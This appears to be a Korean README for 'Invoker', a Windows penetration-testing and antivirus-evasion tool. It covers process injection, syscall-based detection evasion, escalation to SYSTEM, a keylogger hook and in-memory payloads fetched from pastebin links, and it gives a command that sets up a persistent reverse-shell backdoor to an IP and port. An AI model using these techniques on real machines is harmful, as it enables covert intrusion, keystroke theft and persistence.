
침투 테스트 유틸리티 및 안티바이러스 평가 도구입니다.
침투 테스트 유틸리티 및 안티바이러스 평가 도구.
Visual Studio Community 2022 v17.5.4 (64-bit)로 빌드되었으며 Windows 10 Enterprise OS (64-bit)에서 테스트되었습니다.
교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!
이 저장소에는 알려진 시그니처가 존재하기 시작했으며, 새 실행 파일을 매번 업로드할 시간이 없으므로 이 프로젝트를 직접 컴파일해야 합니다.
유용한 웹사이트:
할 일:
NtCreateProcessEx가 32비트 프로세스에서 제대로 작동하지 않으므로 프로세스 고스팅(process ghosting)을 x86 아키텍처와 호환되도록 만듭니다.향후 계획:
코딩하면서 염두에 두는 사항:
위의 모든 사항을 준수하면 PE의 크기가 작아지고 탐지율이 낮아집니다.
기능:
Invoker 라이브러리는 여기에서 확인하세요. 자유롭게 사용하세요!
일부 기능에는 관리자 권한이 필요할 수 있습니다.
일부 특정 액세스 권한 및 제어 플래그로 인해 일부 기능은 Windows XP 및 이전 버전에서 작동하지 않을 수 있습니다.
Invoker_x86.exe (32-bit) 또는 Invoker_x64.exe (64-bit)를 실행하세요.
리버스 셸 백도어를 자동화하고 지속성을 추가하려면 다음 명령을 실행하세요:
Invoker_x64.exe 192.168.8.5:9000
32비트 Invoker가 할 수 있는 작업:
64비트 Invoker가 할 수 있는 작업:
각 인젝션 기술에는 장단점이 있습니다. 예를 들어 일부 기술은 더 적은 액세스 권한이 필요하고 덜 의심스러운 방법을 사용하지만, 프로세스가 중단되거나 페이로드를 실행하는 데 시간과 특수 조건이 필요할 수 있습니다.
일부 C2C 임플란트는 메모리 해제 후 작동하지 않을 수 있습니다. 이 경우 VirtualFreeEx, NtFreeVirtualMemory 등의 메서드를 주석 처리하세요.
더 높은 권한의 프로세스에 바이트코드를 인젝션하여 권한을 상승시킵니다.
이 도구는 메모리 내에서 바이너리 파일의 내용을 다운로드하고 실행 중인 프로세스에 인젝션할 수 있습니다. 또한 HTTP 응답을 구문 분석하고 사용자 정의 요소에서 페이로드를 추출할 수 있습니다. 예를 들어 <invoker>payload</invoker>에서 payload는 Base64로 인코딩된 바이너리 코드입니다.
예제는 pastebin.com/raw/xf9Trt0d에서 확인하세요.
안티바이러스가 로컬 페이로드를 지속적으로 삭제하는 경우 유용합니다.
추가 예제는 pastebin.com/raw/iW17rCxH에서 확인하세요 - 이미지 요소에 숨겨진 페이로드.
참고: 제공된 바이트코드는 대부분의 경우 작동하지 않을 것입니다.
로컬 웹 서버에 공개 주소를 제공하려면 ngrok을 사용하세요.
프로세스가 32비트인지 64비트인지 확인하려면 작업 관리자를 열고 '자세히'를 클릭한 후 '세부 정보' 탭으로 이동하여 열 머리글을 마우스 오른쪽 버튼으로 클릭하고 '열 선택'을 클릭한 후 '플랫폼' 확인란을 선택하세요.
프로세스가 관리자 권한으로 실행 중인지 확인하려면 '높음' 확인란을 선택하세요.
리버스 셸 페이로드를 생성하는 방법과 Ncat 및 multi/handler 리스너를 설정하는 방법은 다른 프로젝트에서 확인하세요.
바이트코드 인젝션은 바이트코드에 잘못된 문자, 잘못된 종료 함수 또는 인코딩 문제가 있을 경우 실패할 수 있습니다. DLL 인젝션이 더 안정적입니다.
Invoker에서 PowerShell 리버스 또는 바인드 셸을 실행하려면 Invoker를 열고 PowerShell 세션을 시작한 후 다른 프로젝트의 원라이너를 실행하세요.
직접 시스템 호출 라이브러리와 어셈블리는 SysWhispers2로 생성되었습니다. 저자에게 감사드립니다!
동일한 라이브러리와 어셈블리를 생성하려면 선호하는 콘솔에서 다음 명령을 실행하세요:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
라이브러리와 어셈블리에 대한 래퍼는 여기에서 확인하세요. 자유롭게 사용하세요!
훅 프로시저가 있는 간단한 DLL은 여기에서 확인하세요. 훅 프로시저는 각 창이 닫힐 때 메시지 박스를 호출합니다.
키보드 훅 프로시저(키로거)는 여기에서 확인하세요.
첫 번째 마우스 클릭 시 새 프로세스를 실행하는 마우스 훅 프로시저는 여기에서 확인하세요.
테스트가 끝난 후 생성된 모든 아티팩트(예: keylogger.log)를 제거하는 것을 잊지 마세요.
다음 간단한 단계를 따르세요:
whoami를 실행하면 이제 nt authority\system이 표시됩니다.
그림 1 - Invoker

그림 2 - 바이트코드 인젝션

그림 3 - 상승된 권한